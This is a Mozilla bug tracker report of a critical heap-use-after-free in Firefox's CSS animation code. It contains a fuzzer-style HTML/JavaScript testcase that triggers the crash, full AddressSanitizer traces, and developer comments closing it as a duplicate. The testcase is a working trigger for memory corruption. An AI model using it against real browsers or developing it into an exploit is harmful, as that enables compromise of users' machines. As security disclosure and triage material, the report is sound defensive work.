Closed
Bug 1317500
Opened 8 years ago
Closed 8 years ago
heap-use-after-free in mozilla::dom::KeyframeEffectReadOnly::CalculateCumulativeChangeHint
Categories
(Core :: DOM: Animation, defect)
Core
DOM: Animation
Tracking
()
RESOLVED
DUPLICATE
of bug 1289701
Tracking | Status | |
---|---|---|
firefox53 | --- | affected |
People
(Reporter: nils, Unassigned)
Details
(Keywords: csectype-uaf, reporter-external, sec-critical)
The following testcase crashes the latest ASAN build of Firefox (BuildID=20161113140512).
crash.html:
<script>
function start() {
o1=document.documentElement;
o10=document.createElement('area');
o104=document.createElement('spacer');
o121=document.createElement('tr');
o143=document.createElement('track');
o216=document.createRange();
o337=document.createElement('dialog');
o337.innerHTML="<svg x><style>";
o346=o337.querySelectorAll('*')[1];
o121.innerHTML="<style>@font-face{ font-family: font7; src: url() format('eot')}.class2{}\n*{ font-size: 85rem!important; all: initial;>";
o10.appendChild(o1);
o216.surroundContents(o143);
document.documentElement.appendChild(o121);
document.documentElement.appendChild(o104);
o104.innerHTML="<svg><style>@keyframes{{}}*{ animation-name: key12; animation-duration: 0.001s;}{}\n@keyframes key12{ from{ font: larger Helvetica";
o216.surroundContents(o346);
}
</script>
<body onload="start()"></body>
ASAN output:
=================================================================
==8716==ERROR: AddressSanitizer: heap-use-after-free on address 0x615000340db8 at pc 0x7fdbe2711e96 bp 0x7ffcb9317ad0 sp 0x7ffcb9317ac8
READ of size 4 at 0x615000340db8 thread T0 (Web Content)
#0 0x7fdbe2711e95 in mozilla::dom::KeyframeEffectReadOnly::CalculateCumulativeChangeHint(nsStyleContext*) /home/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:1262:54
#1 0x7fdbe2700f54 in mozilla::dom::KeyframeEffectReadOnly::UpdateProperties(nsStyleContext*) /home/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:333:5
#2 0x7fdbe27005ab in mozilla::EffectCompositor::UpdateEffectProperties(nsStyleContext*, mozilla::dom::Element*, mozilla::CSSPseudoElementType) /home/worker/workspace/build/src/dom/animation/EffectCompositor.cpp:274:5
#3 0x7fdbe6a69d26 in nsStyleSet::GetContext(nsStyleContext*, nsRuleNode*, nsRuleNode*, nsIAtom*, mozilla::CSSPseudoElementType, mozilla::dom::Element*, unsigned int) /home/worker/workspace/build/src/layout/style/nsStyleSet.cpp:976:7
#4 0x7fdbe6a6ea03 in nsStyleSet::ResolveStyleFor(mozilla::dom::Element*, nsStyleContext*, TreeMatchContext&) /home/worker/workspace/build/src/layout/style/nsStyleSet.cpp:1392:10
#5 0x7fdbe6ba6a9e in mozilla::ElementRestyler::RestyleUndisplayedNodes(nsRestyleHint, mozilla::UndisplayedNode*, nsIContent*, nsStyleContext*, mozilla::StyleDisplay) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:3483:9
#6 0x7fdbe6ba0aa8 in DoRestyleUndisplayedDescendants /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:3428:3
#7 0x7fdbe6ba0aa8 in mozilla::ElementRestyler::RestyleUndisplayedDescendants(nsRestyleHint) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:3414
#8 0x7fdbe6b9f8db in mozilla::ElementRestyler::RestyleChildren(nsRestyleHint) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:3221:3
#9 0x7fdbe6b988ce in mozilla::ElementRestyler::Restyle(nsRestyleHint) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:2294:5
#10 0x7fdbe6ba26bc in mozilla::ElementRestyler::RestyleContentChildren(nsIFrame*, nsRestyleHint) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:3729:13
#11 0x7fdbe6b9f9ad in mozilla::ElementRestyler::RestyleChildren(nsRestyleHint) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:3251:7
#12 0x7fdbe6b988ce in mozilla::ElementRestyler::Restyle(nsRestyleHint) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:2294:5
#13 0x7fdbe6ba26bc in mozilla::ElementRestyler::RestyleContentChildren(nsIFrame*, nsRestyleHint) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:3729:13
#14 0x7fdbe6b9f9ad in mozilla::ElementRestyler::RestyleChildren(nsRestyleHint) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:3251:7
#15 0x7fdbe6b988ce in mozilla::ElementRestyler::Restyle(nsRestyleHint) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:2294:5
#16 0x7fdbe6ba5184 in mozilla::ElementRestyler::ComputeStyleChangeFor(nsIFrame*, nsStyleChangeList*, nsChangeHint, mozilla::RestyleTracker&, nsRestyleHint, mozilla::RestyleHintData const&, nsTArray<mozilla::ElementRestyler::ContextToClear>&, nsTArray<RefPtr<nsStyleContext> >&) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:3393:7
#17 0x7fdbe6b8a7f4 in mozilla::RestyleManager::ComputeAndProcessStyleChange(nsIFrame*, nsChangeHint, mozilla::RestyleTracker&, nsRestyleHint, mozilla::RestyleHintData const&) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:3803:3
#18 0x7fdbe6b894d1 in mozilla::RestyleManager::StartRebuildAllStyleData(mozilla::RestyleTracker&) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:764:3
#19 0x7fdbe6bade56 in BeginProcessingRestyles /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:871:5
#20 0x7fdbe6bade56 in mozilla::RestyleTracker::DoProcessRestyles() /home/worker/workspace/build/src/layout/base/RestyleTracker.cpp:154
#21 0x7fdbe6b91474 in ProcessRestyles /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RestyleManager.h:490:7
#22 0x7fdbe6b91474 in mozilla::RestyleManager::ProcessPendingRestyles() /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:834
#23 0x7fdbe6dcd36f in ProcessPendingRestyles /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RestyleManagerHandleInlines.h:74:3
#24 0x7fdbe6dcd36f in PresShell::FlushPendingNotifications(mozilla::ChangesToFlush) /home/worker/workspace/build/src/layout/base/nsPresShell.cpp:4135
#25 0x7fdbe6ae8be1 in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1836:11
#26 0x7fdbe6af5230 in mozilla::RefreshDriverTimer::TickRefreshDrivers(long, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:295:7
#27 0x7fdbe6af4eb8 in mozilla::RefreshDriverTimer::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:317:5
#28 0x7fdbe6af6dd4 in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::NotifyVsync(mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:501:9
#29 0x7fdbe7469124 in mozilla::layout::VsyncChild::RecvNotify(mozilla::TimeStamp const&) /home/worker/workspace/build/src/layout/ipc/VsyncChild.cpp:64:5
#30 0x7fdbe1199def in mozilla::layout::PVsyncChild::OnMessageReceived(IPC::Message const&) /home/worker/workspace/build/src/obj-firefox/ipc/ipdl/PVsyncChild.cpp:233:20
#31 0x7fdbe0cb8613 in mozilla::ipc::PBackgroundChild::OnMessageReceived(IPC::Message const&) /home/worker/workspace/build/src/obj-firefox/ipc/ipdl/PBackgroundChild.cpp:1571:16
#32 0x7fdbe0bf4555 in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1730:14
#33 0x7fdbe0bf0a7c in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1668:17
#34 0x7fdbe0bf31e4 in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1569:5
#35 0x7fdbe0bf36ee in mozilla::ipc::MessageChannel::MessageTask::Run() /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1592:5
#36 0x7fdbdfe2cc4b in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1175:7
#37 0x7fdbdfead1bc in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/glue/nsThreadUtils.cpp:361:10
#38 0x7fdbe0bfba1f in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21
#39 0x7fdbe0b6e858 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:232:3
#40 0x7fdbe0b6e858 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:225
#41 0x7fdbe0b6e858 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:205
#42 0x7fdbe643edaf in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3
#43 0x7fdbe85b95a7 in XRE_RunAppShell /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:869:12
#44 0x7fdbe0b6e858 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:232:3
#45 0x7fdbe0b6e858 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:225
#46 0x7fdbe0b6e858 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:205
#47 0x7fdbe85b8ae3 in XRE_InitChildProcess /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:701:7
#48 0x4dfb2b in content_process_main /home/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:197:19
#49 0x4dfb2b in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:392
#50 0x7fdbfb26782f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291
#51 0x41ba08 in _start (/home/nils/MonkeyFarm/firefox/firefox+0x41ba08)
0x615000340db8 is located 56 bytes inside of 512-byte region [0x615000340d80,0x615000340f80)
freed by thread T0 (Web Content) here:
#0 0x4b215b in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3
#1 0x7fdbdfc3f8e1 in Free /home/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:197:34
#2 0x7fdbdfc3f8e1 in nsTArray_base<nsTArrayInfallibleAllocator, nsTArray_CopyWithMemutils>::ShrinkCapacity(unsigned long, unsigned long) /home/worker/workspace/build/src/obj-firefox/dist/include/nsTArray-inl.h:230
#3 0x7fdbe2700e52 in Clear /home/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:1635:18
#4 0x7fdbe2700e52 in operator= /home/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:943
#5 0x7fdbe2700e52 in operator= /home/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:2146
#6 0x7fdbe2700e52 in mozilla::dom::KeyframeEffectReadOnly::UpdateProperties(nsStyleContext*) /home/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:324
#7 0x7fdbe2710e68 in mozilla::dom::KeyframeEffectReadOnly::SetKeyframes(nsTArray<mozilla::Keyframe>&&, nsStyleContext*) /home/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:207:5
#8 0x7fdbe684ed69 in UpdateOldAnimationPropertiesWithNew /home/worker/workspace/build/src/layout/style/nsAnimationManager.cpp:337:7
#9 0x7fdbe684ed69 in CSSAnimationBuilder::Build(nsPresContext*, mozilla::StyleAnimation const&, nsCSSKeyframesRule const*) /home/worker/workspace/build/src/layout/style/nsAnimationManager.cpp:610
#10 0x7fdbe684d7f6 in nsAnimationManager::BuildAnimations(nsStyleContext*, mozilla::dom::Element*, mozilla::AnimationCollection<mozilla::dom::CSSAnimation>*, nsTArray<RefPtr<mozilla::dom::CSSAnimation> >&) /home/worker/workspace/build/src/layout/style/nsAnimationManager.cpp:1077:33
#11 0x7fdbe684cd55 in nsAnimationManager::UpdateAnimations(nsStyleContext*, mozilla::dom::Element*) /home/worker/workspace/build/src/layout/style/nsAnimationManager.cpp:400:5
#12 0x7fdbe6a69ca8 in nsStyleSet::GetContext(nsStyleContext*, nsRuleNode*, nsRuleNode*, nsIAtom*, mozilla::CSSPseudoElementType, mozilla::dom::Element*, unsigned int) /home/worker/workspace/build/src/layout/style/nsStyleSet.cpp:974:7
#13 0x7fdbe6a6ea03 in nsStyleSet::ResolveStyleFor(mozilla::dom::Element*, nsStyleContext*, TreeMatchContext&) /home/worker/workspace/build/src/layout/style/nsStyleSet.cpp:1392:10
#14 0x7fdbe6a6e239 in nsStyleSet::ResolveStyleFor(mozilla::dom::Element*, nsStyleContext*) /home/worker/workspace/build/src/layout/style/nsStyleSet.cpp:1350:10
#15 0x7fdbe69ca76d in ResolveStyleFor /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/StyleSetHandleInlines.h:84:3
#16 0x7fdbe69ca76d in CalcLengthWith(nsCSSValue const&, int, nsStyleFont const*, nsStyleContext*, nsPresContext*, bool, bool, mozilla::RuleNodeCacheConditions&) /home/worker/workspace/build/src/layout/style/nsRuleNode.cpp:570
#17 0x7fdbe6ad1581 in SetFontSizeCalcOps::ComputeLeafValue(nsCSSValue const&) /home/worker/workspace/build/src/layout/style/nsRuleNode.cpp:3346:14
#18 0x7fdbe6a2bc76 in nsRuleNode::SetFontSize(nsPresContext*, nsRuleData const*, nsStyleFont const*, nsStyleFont const*, int*, nsFont const&, int, int, bool, bool, mozilla::RuleNodeCacheConditions&) /home/worker/workspace/build/src/layout/style/nsRuleNode.cpp:3440:14
#19 0x7fdbe6a312f5 in nsRuleNode::SetFont(nsPresContext*, nsStyleContext*, unsigned char, nsRuleData const*, nsStyleFont const*, nsStyleFont*, bool, mozilla::RuleNodeCacheConditions&) /home/worker/workspace/build/src/layout/style/nsRuleNode.cpp:4026:3
#20 0x7fdbe69d56f0 in nsRuleNode::ComputeFontData(void*, nsRuleData const*, nsStyleContext*, nsRuleNode*, nsRuleNode::RuleDetail, mozilla::RuleNodeCacheConditions) /home/worker/workspace/build/src/layout/style/nsRuleNode.cpp:4285:5
#21 0x7fdbe69cfdb1 in nsRuleNode::WalkRuleTree(nsStyleStructID, nsStyleContext*) /home/worker/workspace/build/src/layout/style/nsRuleNode.cpp:2622:10
#22 0x7fdbe69d0811 in nsStyleContext::StyleData(nsStyleStructID) /home/worker/workspace/build/src/layout/style/nsStyleContext.cpp:468:15
#23 0x7fdbe2717bc7 in mozilla::dom::CreateStyleContextForAnimationValue(nsCSSPropertyID, mozilla::StyleAnimationValue const&, nsStyleContext*) /home/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:1244:3
#24 0x7fdbe2711b16 in mozilla::dom::KeyframeEffectReadOnly::CalculateCumulativeChangeHint(nsStyleContext*) /home/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:1258:9
#25 0x7fdbe2700f54 in mozilla::dom::KeyframeEffectReadOnly::UpdateProperties(nsStyleContext*) /home/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:333:5
#26 0x7fdbe27005ab in mozilla::EffectCompositor::UpdateEffectProperties(nsStyleContext*, mozilla::dom::Element*, mozilla::CSSPseudoElementType) /home/worker/workspace/build/src/dom/animation/EffectCompositor.cpp:274:5
#27 0x7fdbe6a69d26 in nsStyleSet::GetContext(nsStyleContext*, nsRuleNode*, nsRuleNode*, nsIAtom*, mozilla::CSSPseudoElementType, mozilla::dom::Element*, unsigned int) /home/worker/workspace/build/src/layout/style/nsStyleSet.cpp:976:7
#28 0x7fdbe6a6ea03 in nsStyleSet::ResolveStyleFor(mozilla::dom::Element*, nsStyleContext*, TreeMatchContext&) /home/worker/workspace/build/src/layout/style/nsStyleSet.cpp:1392:10
#29 0x7fdbe6ba6a9e in mozilla::ElementRestyler::RestyleUndisplayedNodes(nsRestyleHint, mozilla::UndisplayedNode*, nsIContent*, nsStyleContext*, mozilla::StyleDisplay) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:3483:9
#30 0x7fdbe6ba0aa8 in DoRestyleUndisplayedDescendants /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:3428:3
#31 0x7fdbe6ba0aa8 in mozilla::ElementRestyler::RestyleUndisplayedDescendants(nsRestyleHint) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:3414
#32 0x7fdbe6b9f8db in mozilla::ElementRestyler::RestyleChildren(nsRestyleHint) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:3221:3
#33 0x7fdbe6b988ce in mozilla::ElementRestyler::Restyle(nsRestyleHint) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:2294:5
#34 0x7fdbe6ba26bc in mozilla::ElementRestyler::RestyleContentChildren(nsIFrame*, nsRestyleHint) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:3729:13
#35 0x7fdbe6b9f9ad in mozilla::ElementRestyler::RestyleChildren(nsRestyleHint) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:3251:7
#36 0x7fdbe6b988ce in mozilla::ElementRestyler::Restyle(nsRestyleHint) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:2294:5
previously allocated by thread T0 (Web Content) here:
#0 0x4b27ce in realloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:71:3
#1 0x4e0f1d in moz_xrealloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:105:20
#2 0x7fdbdfc3fee1 in Realloc /home/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:209:12
#3 0x7fdbdfc3fee1 in nsTArrayInfallibleAllocator::ResultTypeProxy nsTArray_base<nsTArrayInfallibleAllocator, nsTArray_CopyWithMemutils>::EnsureCapacity<nsTArrayInfallibleAllocator>(unsigned long, unsigned long) /home/worker/workspace/build/src/obj-firefox/dist/include/nsTArray-inl.h:183
#4 0x7fdbe27278db in AppendElements<nsTArrayInfallibleAllocator> /home/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:1588:34
#5 0x7fdbe27278db in AppendElement<nsTArrayInfallibleAllocator> /home/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:1616
#6 0x7fdbe27278db in BuildSegmentsFromValueEntries /home/worker/workspace/build/src/dom/animation/KeyframeUtils.cpp:1259
#7 0x7fdbe27278db in mozilla::KeyframeUtils::GetAnimationPropertiesFromKeyframes(nsTArray<mozilla::Keyframe> const&, nsTArray<nsTArray<mozilla::PropertyStyleAnimationValuePair> > const&, nsStyleContext*) /home/worker/workspace/build/src/dom/animation/KeyframeUtils.cpp:694
#8 0x7fdbe2700b5e in mozilla::dom::KeyframeEffectReadOnly::UpdateProperties(nsStyleContext*) /home/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:298:7
#9 0x7fdbe27005ab in mozilla::EffectCompositor::UpdateEffectProperties(nsStyleContext*, mozilla::dom::Element*, mozilla::CSSPseudoElementType) /home/worker/workspace/build/src/dom/animation/EffectCompositor.cpp:274:5
#10 0x7fdbe6a69d26 in nsStyleSet::GetContext(nsStyleContext*, nsRuleNode*, nsRuleNode*, nsIAtom*, mozilla::CSSPseudoElementType, mozilla::dom::Element*, unsigned int) /home/worker/workspace/build/src/layout/style/nsStyleSet.cpp:976:7
#11 0x7fdbe6a6ea03 in nsStyleSet::ResolveStyleFor(mozilla::dom::Element*, nsStyleContext*, TreeMatchContext&) /home/worker/workspace/build/src/layout/style/nsStyleSet.cpp:1392:10
#12 0x7fdbe6ba6a9e in mozilla::ElementRestyler::RestyleUndisplayedNodes(nsRestyleHint, mozilla::UndisplayedNode*, nsIContent*, nsStyleContext*, mozilla::StyleDisplay) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:3483:9
#13 0x7fdbe6ba0aa8 in DoRestyleUndisplayedDescendants /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:3428:3
#14 0x7fdbe6ba0aa8 in mozilla::ElementRestyler::RestyleUndisplayedDescendants(nsRestyleHint) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:3414
#15 0x7fdbe6b9f8db in mozilla::ElementRestyler::RestyleChildren(nsRestyleHint) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:3221:3
#16 0x7fdbe6b988ce in mozilla::ElementRestyler::Restyle(nsRestyleHint) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:2294:5
#17 0x7fdbe6ba26bc in mozilla::ElementRestyler::RestyleContentChildren(nsIFrame*, nsRestyleHint) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:3729:13
#18 0x7fdbe6b9f9ad in mozilla::ElementRestyler::RestyleChildren(nsRestyleHint) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:3251:7
#19 0x7fdbe6b988ce in mozilla::ElementRestyler::Restyle(nsRestyleHint) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:2294:5
#20 0x7fdbe6ba26bc in mozilla::ElementRestyler::RestyleContentChildren(nsIFrame*, nsRestyleHint) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:3729:13
#21 0x7fdbe6b9f9ad in mozilla::ElementRestyler::RestyleChildren(nsRestyleHint) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:3251:7
#22 0x7fdbe6b988ce in mozilla::ElementRestyler::Restyle(nsRestyleHint) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:2294:5
#23 0x7fdbe6ba5184 in mozilla::ElementRestyler::ComputeStyleChangeFor(nsIFrame*, nsStyleChangeList*, nsChangeHint, mozilla::RestyleTracker&, nsRestyleHint, mozilla::RestyleHintData const&, nsTArray<mozilla::ElementRestyler::ContextToClear>&, nsTArray<RefPtr<nsStyleContext> >&) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:3393:7
#24 0x7fdbe6b8a7f4 in mozilla::RestyleManager::ComputeAndProcessStyleChange(nsIFrame*, nsChangeHint, mozilla::RestyleTracker&, nsRestyleHint, mozilla::RestyleHintData const&) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:3803:3
#25 0x7fdbe6b894d1 in mozilla::RestyleManager::StartRebuildAllStyleData(mozilla::RestyleTracker&) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:764:3
#26 0x7fdbe6bade56 in BeginProcessingRestyles /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:871:5
#27 0x7fdbe6bade56 in mozilla::RestyleTracker::DoProcessRestyles() /home/worker/workspace/build/src/layout/base/RestyleTracker.cpp:154
#28 0x7fdbe6b91474 in ProcessRestyles /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RestyleManager.h:490:7
#29 0x7fdbe6b91474 in mozilla::RestyleManager::ProcessPendingRestyles() /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:834
#30 0x7fdbe6dcd36f in ProcessPendingRestyles /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RestyleManagerHandleInlines.h:74:3
#31 0x7fdbe6dcd36f in PresShell::FlushPendingNotifications(mozilla::ChangesToFlush) /home/worker/workspace/build/src/layout/base/nsPresShell.cpp:4135
#32 0x7fdbe6ae8be1 in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1836:11
#33 0x7fdbe6af5230 in mozilla::RefreshDriverTimer::TickRefreshDrivers(long, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:295:7
#34 0x7fdbe6af4eb8 in mozilla::RefreshDriverTimer::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:317:5
#35 0x7fdbe6af6dd4 in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::NotifyVsync(mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:501:9
#36 0x7fdbe7469124 in mozilla::layout::VsyncChild::RecvNotify(mozilla::TimeStamp const&) /home/worker/workspace/build/src/layout/ipc/VsyncChild.cpp:64:5
#37 0x7fdbe1199def in mozilla::layout::PVsyncChild::OnMessageReceived(IPC::Message const&) /home/worker/workspace/build/src/obj-firefox/ipc/ipdl/PVsyncChild.cpp:233:20
SUMMARY: AddressSanitizer: heap-use-after-free /home/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:1262:54 in mozilla::dom::KeyframeEffectReadOnly::CalculateCumulativeChangeHint(nsStyleContext*)
Shadow bytes around the buggy address:
0x0c2a80060160: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2a80060170: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2a80060180: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2a80060190: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2a800601a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c2a800601b0: fd fd fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd
0x0c2a800601c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2a800601d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2a800601e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2a800601f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2a80060200: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==8716==ABORTING
Updated•8 years ago
|
Flags: needinfo?(bbirtles)
Keywords: csectype-uaf,
sec-critical
Comment 2•8 years ago
|
||
Sure. I suspect this is another variant of bug 1289701.
I will check whether the patch for bug 1289701 fixes this or not.
Flags: needinfo?(hiikezoe)
Comment 3•8 years ago
|
||
Confirmed.
Status: NEW → RESOLVED
Closed: 8 years ago
Resolution: --- → DUPLICATE
Updated•8 years ago
|
Flags: sec-bounty?
Updated•8 years ago
|
Flags: sec-bounty? → sec-bounty-
Updated•5 years ago
|
Group: core-security
Updated•6 months ago
|
Keywords: reporter-external
You need to log in
before you can comment on or make changes to this bug.
Description
•